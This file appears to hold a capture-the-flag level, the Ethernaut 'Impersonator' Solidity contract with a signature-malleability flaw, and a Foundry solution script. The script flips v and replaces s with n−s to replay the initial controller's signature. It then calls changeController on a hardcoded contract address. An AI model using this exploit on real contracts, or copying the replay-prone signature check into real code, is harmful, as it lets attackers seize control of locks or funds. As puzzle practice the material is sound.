1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.28;
3

4
import "openzeppelin-contracts-08/access/Ownable.sol";
5

6
// SlockDotIt ECLocker factory
7
contract Impersonator is Ownable {
8
    uint256 public lockCounter;
9
    ECLocker[] public lockers;
10

11
    event NewLock(address indexed lockAddress, uint256 lockId, uint256 timestamp, bytes signature);
12

13
    constructor(uint256 _lockCounter) {
14
        lockCounter = _lockCounter;
15
    }
16

17
    function deployNewLock(bytes memory signature) public onlyOwner {
18
        // Deploy a new lock
19
        ECLocker newLock = new ECLocker(++lockCounter, signature);
20
        lockers.push(newLock);
21
        emit NewLock(address(newLock), lockCounter, block.timestamp, signature);
22
    }
23
}
24

25
contract ECLocker {
26
    uint256 public immutable lockId;
27
    bytes32 public immutable msgHash;
28
    address public controller;
29
    mapping(bytes32 => bool) public usedSignatures;
30

31
    event LockInitializated(address indexed initialController, uint256 timestamp);
32
    event Open(address indexed opener, uint256 timestamp);
33
    event ControllerChanged(address indexed newController, uint256 timestamp);
34

35
    error InvalidController();
36
    error SignatureAlreadyUsed();
37

38
    /// @notice Initializes the contract the lock
39
    /// @param _lockId uinique lock id set by SlockDotIt's factory
40
    /// @param _signature the signature of the initial controller
41
    constructor(uint256 _lockId, bytes memory _signature) {
42
        // Set lockId
43
        lockId = _lockId;
44

45
        // Compute msgHash
46
        bytes32 _msgHash;
47
        assembly {
48
            mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes
49
            mstore(0x1C, _lockId) // 32 bytes
50
            _msgHash := keccak256(0x00, 0x3c) //28 + 32 = 60 bytes
51
        }
52
        msgHash = _msgHash;
53

54
        // Recover the initial controller from the signature
55
        address initialController = address(1);
56
        assembly {
57
            let ptr := mload(0x40)
58
            mstore(ptr, _msgHash) // 32 bytes
59
            mstore(add(ptr, 32), mload(add(_signature, 0x60))) // 32 byte v
60
            mstore(add(ptr, 64), mload(add(_signature, 0x20))) // 32 bytes r
61
            mstore(add(ptr, 96), mload(add(_signature, 0x40))) // 32 bytes s
62
            pop(
63
                staticcall(
64
                    gas(), // Amount of gas left for the transaction.
65
                    initialController, // Address of `ecrecover`.
66
                    ptr, // Start of input.
67
                    0x80, // Size of input.
68
                    0x00, // Start of output.
69
                    0x20 // Size of output.
70
                )
71
            )
72
            if iszero(returndatasize()) {
73
                mstore(0x00, 0x8baa579f) // `InvalidSignature()`.
74
                revert(0x1c, 0x04)
75
            }
76
            initialController := mload(0x00)
77
            mstore(0x40, add(ptr, 128))
78
        }
79

80
        // Invalidate signature
81
        usedSignatures[keccak256(_signature)] = true;
82

83
        // Set the controller
84
        controller = initialController;
85

86
        // emit LockInitializated
87
        emit LockInitializated(initialController, block.timestamp);
88
    }
89

90
    /// @notice Opens the lock
91
    /// @dev Emits Open event
92
    /// @param v the recovery id
93
    /// @param r the r value of the signature
94
    /// @param s the s value of the signature
95
    function open(uint8 v, bytes32 r, bytes32 s) external {
96
        address add = _isValidSignature(v, r, s);
97
        emit Open(add, block.timestamp);
98
    }
99

100
    /// @notice Changes the controller of the lock
101
    /// @dev Updates the controller storage variable
102
    /// @dev Emits ControllerChanged event
103
    /// @param v the recovery id
104
    /// @param r the r value of the signature
105
    /// @param s the s value of the signature
106
    /// @param newController the new controller address
107
    function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external {
108
        _isValidSignature(v, r, s);
109
        controller = newController;
110
        emit ControllerChanged(newController, block.timestamp);
111
    }
112

113
    function _isValidSignature(uint8 v, bytes32 r, bytes32 s) internal returns (address) {
114
        address _address = ecrecover(msgHash, v, r, s);
115
        require (_address == controller, InvalidController());
116

117
        bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));
118
        require (!usedSignatures[signatureHash], SignatureAlreadyUsed());
119

120
        usedSignatures[signatureHash] = true;
121

122
        return _address;
123
    }
124
}

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.28;
3

4
import "forge-std/Script.sol";
5

6
interface IECLocker {
7
    function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external;
8
}
9

10
contract Sol32 is Script {
11
    uint256 private constant SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141;
12

13
    function run() external {
14
        uint256 privateKey = vm.envUint("PRIVATE_KEY");
15
        IECLocker target = IECLocker(0x46887e09d735a4E2081A253cD78c656093183bD2);
16
        bytes memory signature =
17
            hex"1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b9178489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff21b";
18

19
        uint8 v;
20
        bytes32 r;
21
        bytes32 s;
22

23
        assembly {
24
            r := mload(add(signature, 0x20))
25
            s := mload(add(signature, 0x40))
26
            v := byte(0, mload(add(signature, 0x60)))
27
        }
28

29
        vm.startBroadcast(privateKey);
30
        target.changeController(55 - v, r, bytes32(SECP256K1_N - uint256(s)), address(0));
31
        vm.stopBroadcast();
32
    }
33
}